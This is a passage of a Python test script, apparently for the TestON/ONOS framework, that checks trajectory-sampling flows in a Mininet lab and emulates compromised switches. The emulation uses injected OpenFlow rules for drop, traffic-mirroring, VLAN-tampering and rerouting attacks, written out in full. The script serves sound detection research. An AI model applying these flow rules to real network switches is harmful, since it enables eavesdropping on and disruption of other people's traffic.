main.step( "Check flows are in the switches" )
# main.log.info( "Get the flows from every switch in the network" )
# switchList = main.Mininet1.getSwitch()
# samplesExist = main.Mininet1.checkSamplingFlows( switchList )
main.step( "Check flows are in the ADDED state" )
main.log.info( "Get the flows from ONOS" )
flows = json.loads( main.ONOSrest.flows() )
stepResult = main.TRUE
for f in flows:
if "rest" in f.get("appId"):
if "ADDED" not in f.get("state"):
stepResult = main.FALSE
main.log.error( "Flow: %s in state: %s" % (f.get("id"), f.get("state")) )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="All flows are in the ADDED state",
onfail="All flows are NOT in the ADDED state" )
main.step( "Check flows are in Mininet's flow table" )
# get the flow IDs that were added
main.log.info( "Getting the flow IDs from ONOS" )
flowIds = [ f.get("id") for f in flows ]
# convert the flowIDs to ints then hex and finally back to strings
flowIds = [str(hex(int(x))) for x in flowIds]
main.log.info( "ONOS flow IDs: {}".format(flowIds) )
switchList = main.Mininet1.getSwitch( )
main.log.info("Now to check if the flowIds are in Mininet.")
samplesExist = main.Mininet1.checkFlowId( switchList, flowIds, debug=False )
print samplesExist
if samplesExist == main.TRUE:
main.log.info("Flows from SATS and Mininet match.")
utilities.assert_equals( expect=main.TRUE,
actual=samplesExist,
onpass="All flows are in mininet",
onfail="All flows are NOT in mininet" )
else :
attempts = 1
samplesExist = main.FALSE
while samplesExist == main.FALSE and attempts < 10:
main.log.info( "Try to get them installed by disabling and enabling pair-wise" )
main.step( "Disable pairAssignment" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"pairAssignment", "false" )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully disabled pairAssignment",
onfail="Failed to disable pairAssignment" )
main.step( "Deactivate tsamp." )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
deactivateResult = main.CLIs[ 0 ].app( "org.onosproject.tsamp", "deactivate" )
utilities.assert_equals( expect=main.TRUE,
actual=deactivateResult,
onpass="Successfully deactivated tsamp",
onfail="Failed to deactivate tsamp" )
main.step( "Activate tsamp." )
main.log.info( "Sleep 10 seconds before enabling" )
time.sleep ( 10 )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
activateResult = main.CLIs[ 0 ].app( "org.onosproject.tsamp", "activate" )
utilities.assert_equals( expect=main.TRUE,
actual=activateResult,
onpass="Successfully activated tsamp",
onfail="Failed to activate tsamp" )
main.log.info( "Sleep 10 seconds before enabling" )
time.sleep ( 10 )
main.step( "Configure pairAssignment" )
main.CLIs[ 0 ].startOnosCli( main.ONOSip[ 0 ] )
cfgResult = main.CLIs[ 0 ].setCfg( "org.onosproject.tsamp.TrajectorySampling",
"pairAssignment", "true" )
main.log.info( "Sleep for 10s so that the flows are actually installed" )
time.sleep( main.activateSleep )
utilities.assert_equals( expect=main.TRUE,
actual=cfgResult,
onpass="Successfully configured pairAssignment",
onfail="Failed to configure pairAssignment" )
main.log.info( "Now check the flows again" )
# main.log.info( "Get the flows from every switch in the network" )
# switchList = main.Mininet1.getSwitch()
# samplesExist = main.Mininet1.checkSamplingFlows( switchList )
main.step("Check flows are in the ADDED state")
main.log.info("Get the flows from ONOS")
flows = json.loads(main.ONOSrest.flows())
stepResult = main.TRUE
for f in flows:
if "rest" in f.get("appId"):
if "ADDED" not in f.get("state"):
stepResult = main.FALSE
main.log.error("Flow: %s in state: %s" % (f.get("id"), f.get("state")))
utilities.assert_equals(expect=main.TRUE,
actual=stepResult,
onpass="All flows are in the ADDED state",
onfail="All flows are NOT in the ADDED state")
main.step("Check flows are in Mininet's flow table")
# get the flow IDs that were added
main.log.info("Getting the flow IDs from ONOS")
flowIds = [f.get("id") for f in flows]
# convert the flowIDs to ints then hex and finally back to strings
flowIds = [str(hex(int(x))) for x in flowIds]
main.log.info("ONOS flow IDs: {}".format(flowIds))
switchList = main.Mininet1.getSwitch()
samplesExist = main.Mininet1.checkFlowId(switchList, flowIds, debug=False)
attempts += 1
utilities.assert_equals( expect=main.TRUE,
actual=samplesExist,
onpass="All samplings flows are in the ADDED state",
onfail="All sampling flows are NOT in the ADDED state" )
def CASE37( self, main ):
'''
Verify flows are installed in ONOS and Mininet
'''
import json
import time
main.step( "Check flows are in the ADDED state" )
main.log.info( "Get the flows from ONOS" )
flows = json.loads( main.ONOSrest.flows() )
stepResult = main.TRUE
for f in flows:
if "rest" in f.get("appId"):
if "ADDED" not in f.get("state"):
stepResult = main.FALSE
main.log.error( "Flow: %s in state: %s" % (f.get("id"), f.get("state")) )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="All flows are in the ADDED state",
onfail="All flows are NOT in the ADDED state" )
main.step( "Check flows are in Mininet's flow table" )
main.step( "But before that let's sleep for 10s so that the switch has the send_flow_rem flag")
time.sleep(10)
# get the flow IDs that were added
main.log.info( "Getting the flow IDs from ONOS" )
flowIds = [ f.get("id") for f in flows ]
# convert the flowIDs to ints then hex and finally back to strings
flowIds = [str(hex(int(x))) for x in flowIds]
main.log.info( "ONOS flow IDs: {}".format(flowIds) )
switchList = main.Mininet1.getSwitch( )
stepResult = main.Mininet1.checkFlowId( switchList, flowIds, version="1.3", debug=True )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="All flows are in mininet",
onfail="All flows are NOT in mininet" )
def CASE38( self, main ):
'''
Configure a drop rule on the Aggregate switch
for traffic from 0_0_2 to 1_0_2
'''
import json
main.step( "Configure flow drop rule on switch 0_2_1 and 0_3_1 for traffic from 0_0_2 to 1_0_2" )
main.log.info( "Configure flow drop rules on switch 0_2_1 and 0_3_1 to emulate a drop attack" )
stepResult = main.TRUE
flowRule = "priority=50002,dl_src=00:00:00:00:00:02,actions=DROP"
stepResult = main.Mininet1.addFlow( [ "0_2_1", "0_3_1" ], version="1.3", flowcmd=flowRule, debug=True )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1, 0_3_1 configured to emulate a drop attack",
onfail="0_2_1, 0_3_1 not configured to emulate a drop attack" )
def CASE39( self, main ):
'''
Configure a drop rule on the Core switch
for traffic from 0_0_2 to 1_0_2
'''
import json
main.step( "Configure flow drop rule on all core switches: 4_1_1, 4_1_2, 4_2_1, 4_2_2" )
main.log.info( "Configure flow drop rules on switch 4_1_1, 4_1_2, 4_2_1, 4_2_2 to emulate a drop attack" )
stepResult = main.TRUE
flowRule = "priority=50002,dl_src=00:00:00:00:00:02,actions=DROP"
stepResult = main.Mininet1.addFlow( [ "4_1_1", "4_1_2", "4_2_1", "4_2_2" ], version="1.3", flowcmd=flowRule, debug=True )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass=" 4_1_1, 4_1_2, 4_2_1, 4_2_2 configured to emulate a drop attack",
onfail=" 4_1_1, 4_1_2, 4_2_1, 4_2_2 not configured to emulate a drop attack" )
def CASE338( self, main ):
'''
Mirror attack
Configure a flow rule on the Aggregate switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that mirrors traffic
'''
import json
import random
main.case( "Configure flow modifying rule on switch 0_2_1 and 0_3_1 for traffic from 0_0_2 to 1_0_2 that modifies the\
destination MAC address to mirror traffic to a different host and forward traffic to the original host." )
main.step( "First get the installed input and output ports for 00:00:00:00:00:02 on switches 0_2_1 and 0_3_1" )
inputPort0_2_1 = main.Mininet1.getFlowInputPort( "0_2_1" )
inputPort0_3_1 = main.Mininet1.getFlowInputPort( "0_3_1" )
outputPort0_2_1 = main.Mininet1.getFlowOutputPort( "0_2_1" )
outputPort0_3_1 = main.Mininet1.getFlowOutputPort( "0_3_1" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_1_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_1_1 flushed",
onfail="0_1_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 flushed",
onfail="0_2_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if outputPort0_2_1 != '':
main.log.info( "Configure flow mirror rule on switches 0_2_1 to mirror traffic to 0_1_1 and forward original traffic" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort0_2_1 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:00:01:02-\\>dl_dst,resubmit:" + inputPort0_2_1
stepResult = main.Mininet1.addFlow( [ "0_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 configured to emulate an injection attack that mirrors traffic",
onfail="0_2_1 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "0_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_2_1", "0_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_3_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
else:
main.log.info( "Configure flow mirror rule on switches 0_3_1 to mirror traffic to 0_1_1 and forward original traffic" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort0_3_1 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:00:01:02-\\>dl_dst,resubmit:" + inputPort0_3_1
stepResult = main.Mininet1.addFlow( [ "0_3_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_3_1 configured to emulate an injection attack that mirrors traffic",
onfail="0_3_1 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "0_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_3_1", "0_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "0_2_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:00:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
def CASE339( self, main ):
'''
Mirror attack
Configure a flow rule on the Core switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that mirrors traffic to the
aggregate switches (2_2_1 or 2_3_1)
'''
import json
import random
main.case( "Configure flow modifying rule on \
The core switch that can be either 4_1_1, 4_1_2, 4_2_1 or 4_2_2.\
Modify the destination MAC address to mirror traffic to a different host and forward traffic to the original host." )
main.step( "First get the installed output ports for 00:00:00:00:00:02 on the core switches 4_1_1, 4_1_2, 4_2_1 or 4_2_2" )
outputPort4_1_1 = main.Mininet1.getFlowOutputPort( "4_1_1" )
outputPort4_1_2 = main.Mininet1.getFlowOutputPort( "4_1_2" )
outputPort4_2_1 = main.Mininet1.getFlowOutputPort( "4_2_1" )
outputPort4_2_2 = main.Mininet1.getFlowOutputPort( "4_2_2" )
inputPort4_1_1 = main.Mininet1.getFlowInputPort( "4_1_1" )
inputPort4_1_2 = main.Mininet1.getFlowInputPort( "4_1_2" )
inputPort4_2_1 = main.Mininet1.getFlowInputPort( "4_2_1" )
inputPort4_2_2 = main.Mininet1.getFlowInputPort( "4_2_2" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "2_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="2_2_1 flushed",
onfail="2_2_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "2_3_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="2_3_1 flushed",
onfail="2_3_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if outputPort4_1_1 != '':
main.log.info( "Configure flow mirror rule on switches 4_1_1 to mirror traffic to 2_1_2 and send traffic along the original path" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort4_1_1 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_1_1
stepResult = main.Mininet1.addFlow( [ "4_1_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_1 configured to emulate an injection attack that mirrors traffic",
onfail="4_1_1 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "2_2_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "4_2_1", "4_2_2", "2_3_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif outputPort4_1_2 != '':
main.log.info( "Configure flow mirror rule on switches 4_1_2 to mirror traffic to 2_1_2 and send traffic along the original path" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort4_1_2 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_1_2
stepResult = main.Mininet1.addFlow( [ "4_1_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_2 configured to emulate an injection attack that mirrors traffic",
onfail="4_1_2 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "2_2_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_1", "4_2_1", "4_2_2", "2_3_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif outputPort4_2_1 != '':
main.log.info( "Configure flow mirror rule on switches 4_2_1 to mirror traffic to 2_1_2 and send traffic along the original path" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort4_2_1 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_2_1
stepResult = main.Mininet1.addFlow( [ "4_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_1 configured to emulate an injection attack that mirrors traffic",
onfail="4_2_1 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_2_1", "2_3_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "4_1_1", "4_2_2", "2_2_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
elif outputPort4_2_2 != '':
main.log.info( "Configure flow mirror rule on switches 4_2_2 to mirror traffic to 2_1_2 and send traffic along the original path" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions="+ outputPort4_2_2 + ",pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:02:01:02-\\>dl_dst,resubmit:" + inputPort4_2_2
stepResult = main.Mininet1.addFlow( [ "4_2_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_2 configured to emulate an injection attack that mirrors traffic",
onfail="4_2_2 not configured to emulate an injection attack that mirrors traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "2_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully pinged hosts",
onfail="Failed to ping hosts" )
main.log.info( "Now to check if the flows are installed" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_2_2", "2_3_1", "2_1_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
main.log.info( "Now to make sure that flows are not installed on other switches" )
stepResult = main.Mininet1.checkAttackFlows( [ "4_1_2", "4_1_1", "4_2_1", "2_2_1", "2_0_1" ], "dl_src=00:00:00:00:00:02,dl_dst=00:00:00:02:01:02" )
utilities.assert_equals( expect=main.FALSE,
actual=stepResult,
onpass="Successfully installed attack flows",
onfail="Failed to install attack flows" )
def CASE3338( self, main ):
'''
Configure a flow rule on the Aggregate switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that modifies the traffic.
In this case it is simply the attacker chose hash value.
The same hash is used for all packets during hte attack.
'''
import json
import random
main.case( "Configure flow modifying rule on switch 0_2_1 and 0_3_1 for traffic from 0_0_2 to 1_0_2 that modifies the vlan. Injection modification attack" )
main.step( "First get the installed output ports for 00:00:00:00:00:02 on switches 0_2_1 and 0_3_1" )
outputPort0_0_2 = main.Mininet1.getFlowOutputPort( "0_2_1" )
outputPort0_3_1 = main.Mininet1.getFlowOutputPort( "0_3_1" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_1_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_1_1 flushed",
onfail="0_1_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 flushed",
onfail="0_2_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if outputPort0_0_2 != '':
main.log.info( "Configure flow rule that changes the Vlan on 0_0_2" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort0_0_2
stepResult = main.Mininet1.addFlow( [ "0_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 configured to emulate an injection attack that modifies traffic",
onfail="0_2_1 not configured to emulate an injection attack that modifies traffic" )
else:
main.log.info( "Configure flow rule that changes the source IP to 10.0.0.20 on 0_3_1" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort0_3_1
stepResult = main.Mininet1.addFlow( [ "0_3_1" ], version="1.3", flowcmd=flowRule)
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_3_1 configured to emulate an injection attack that modifies traffic",
onfail="0_3_1 not configured to emulate an injection attack that modifies traffic" )
def CASE3339( self, main ):
'''
Configure a flow rule on the Core switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that modifies the traffic.
In this case, the attacker chosen hash value.
The same hash is used by the attacking switch during the attack.
'''
import json
import random
main.case( "Configure flow modifying rule on switch 4_1_1, 4_1_2, 4_2_1 or 4_2_2_1 for traffic from 0_0_2 to 1_0_2 that modifies the Vlan id" )
main.step( "First get the installed output ports for 00:00:00:00:00:02 on the core switches 4_1_1, 4_1_2, 4_2_1 or 4_2_2" )
outputPort4_1_1 = main.Mininet1.getFlowOutputPort( "4_1_1" )
outputPort4_1_2 = main.Mininet1.getFlowOutputPort( "4_1_2" )
outputPort4_2_1 = main.Mininet1.getFlowOutputPort( "4_2_1" )
outputPort4_2_2 = main.Mininet1.getFlowOutputPort( "4_2_2" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_1_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_1_1 flushed",
onfail="0_1_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 flushed",
onfail="0_2_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if outputPort4_1_1 != '':
main.log.info( "Configure flow rule that changes the source IP to 10.0.0.20 on 0_0_2" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort4_1_1
stepResult = main.Mininet1.addFlow( [ "4_1_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_1 configured to emulate an injection attack that modifies traffic",
onfail="4_1_1 not configured to emulate an injection attack that modifies traffic" )
elif outputPort4_1_2 != '':
main.log.info( "Configure flow rule that changes the source IP to 10.0.0.20 on 0_0_2" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort4_1_2
stepResult = main.Mininet1.addFlow( [ "4_1_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_1_2 configured to emulate an injection attack that modifies traffic",
onfail="4_1_2 not configured to emulate an injection attack that modifies traffic" )
elif outputPort4_2_1 != '':
main.log.info( "Configure flow rule that changes the source IP to 10.0.0.20 on 0_0_2" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort4_2_1
stepResult = main.Mininet1.addFlow( [ "4_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_1 configured to emulate an injection attack that modifies traffic",
onfail="4_2_1 not configured to emulate an injection attack that modifies traffic" )
elif outputPort4_2_2 != '':
main.log.info( "Configure flow rule that changes the source IP to 10.0.0.20 on 0_0_2" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid,output:" + outputPort4_2_2
stepResult = main.Mininet1.addFlow( [ "4_2_2" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="4_2_2 configured to emulate an injection attack that modifies traffic",
onfail="4_2_2 not configured to emulate an injection attack that modifies traffic" )
def CASE33338( self, main ):
'''
Reroute attack
Configure a flow rule on the Aggregate switches
for traffic from 0_0_2 to 1_0_2 to emulate an
injection attack that modifies the destination MAC address
In this case, the malicious switch actually
forwards traffic that it does not sample to
a different destination.
Also, send ping traffic so that flows are installed
for the new path traffic.
'''
import json
import random
main.case( "Configure flow modifying rule on switch 0_2_1 and 0_3_1 for traffic from 0_0_2 to 1_0_2 that modifies the\
destination MAC address to forward traffic to a different host" )
main.step( "First get the installed input ports for 00:00:00:00:00:02 on switches 0_2_1 and 0_3_1" )
inputPort0_2_1 = main.Mininet1.getFlowInputPort( "0_2_1" )
inputPort0_3_1 = main.Mininet1.getFlowInputPort( "0_3_1" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_1_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_1_1 flushed",
onfail="0_1_1 not flushed" )
stepResult = main.TRUE
stepResult = main.Mininet1.flushIptablesDrop( "0_2_1" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 flushed",
onfail="0_2_1 not flushed" )
main.attackerHashValue = str( random.randint( 0, 4095 ) )
if inputPort0_2_1 != '':
main.log.info( "Configure flow rule that changes the destination MAC address and resubmits the modified packets to the flow table" )
stepResult = main.TRUE
flowRule = "priority=40002,dl_type=0x0800,dl_src=00:00:00:00:00:02,dl_dst=00:00:00:01:00:02," +\
"actions=pop_vlan,push_vlan:0x8100,set_field:" + main.attackerHashValue + "-\\>vlan_vid," +\
"set_field:00:00:00:00:01:02-\\>dl_dst,resubmit:" + inputPort0_2_1
stepResult = main.Mininet1.addFlow( [ "0_2_1" ], version="1.3", flowcmd=flowRule )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="0_2_1 configured to emulate an injection attack that reroutes traffic",
onfail="0_2_1 not configured to emulate an injection attack that reroutes traffic" )
main.step( "arp the host, so that ONOS discovers the host connect points." )
stepResult = main.Mininet1.arpHost( "0_1_2" )
utilities.assert_equals( expect=main.TRUE,
actual=stepResult,
onpass="Successfully arpinged hosts",
onfail="Failed to arping hosts" )
main.step( "Ping test" )
stepResult = main.Mininet1.pingHost( src = "0_0_2", target = "1_0_2" )
